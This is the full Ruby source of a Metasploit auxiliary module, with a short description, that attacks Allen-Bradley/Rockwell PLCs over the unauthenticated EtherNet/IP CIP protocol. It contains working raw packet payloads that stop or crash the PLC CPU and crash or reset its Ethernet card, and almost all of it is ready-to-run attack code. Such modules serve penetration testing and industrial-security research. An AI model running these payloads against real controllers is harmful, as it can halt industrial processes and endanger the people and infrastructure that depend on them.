The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which implements the protocol. This Metasploit module implements the CPU STOP command, as well as the ability to crash the Ethernet card in an affected device. This Metasploit module is based on the original ethernetip-multi.rb Basecamp module from DigitalBond.
887d7ca941da90893389c8d56d690e8e44325dff76f8eba61e9b105f62a0c3e5
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info={})
super(update_info(info,
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
'Description' => %q{
The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
implements the protocol. This module implements the CPU STOP command, as well as
the ability to crash the Ethernet card in an affected device.
This module is based on the original 'ethernetip-multi.rb' Basecamp module
from DigitalBond.
},
'Author' =>
[
'Ruben Santamarta <ruben[at]reversemode.com>',
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => '2012-01-19'))
register_options(
[
Opt::RPORT(44818),
# Note that OptEnum is case sensitive
OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
[
"STOPCPU",
"CRASHCPU",
"CRASHETHER",
"RESETETHER"
]
])
], self.class
)
end
def run
attack = datastore["ATTACK"]
print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
sid = req_session
if sid
forge_packet(sid, payload(attack))
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
end
end
def forge_packet(sessionid, payload)
packet = ""
packet += "\x6f\x00" # command: Send request/reply data
packet += [payload.size - 0x10].pack("v") # encap length (2 bytes)
packet += [sessionid].pack("N") # session identifier (4 bytes)
packet += payload #payload part
begin
sock.put(packet)
rescue ::Interrupt
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
return nil
end
end
def req_session
begin
connect
packet = ""
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
packet += "\x04\x00" # encaph_length (2 bytes)
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
packet += "\x00\x00\x00\x00" # status code (4 bytes)
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
packet += "\x01\x00" # proto (2 bytes)
packet += "\x00\x00" # flags (2 bytes)
sock.put(packet)
response = sock.get_once
if response
session_id = response[4..8].unpack("N")[0] rescue nil# bare minimum of parsing done
if session_id
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x"+session_id.to_s(16))
else
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
return nil
end
else
raise ::Rex::ConnectionTimeout
end
rescue ::Interrupt
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotiation")
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
return nil
end
return session_id
end
def cleanup
disconnect rescue nil
end
def payload(attack)
case attack
when "STOPCPU"
payload = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + #encapsulation -[payload.size-0x10]-
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + #packet1
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + #packet2
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" #packet3
when "CRASHCPU"
payload = "\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" +
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" +
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
when "CRASHETHER"
payload = "\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" +
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
when "RESETETHER"
payload = "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" +
"\x05\x03\x20\x01\x24\x01\x30\x03"
else
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
return nil
end
end
end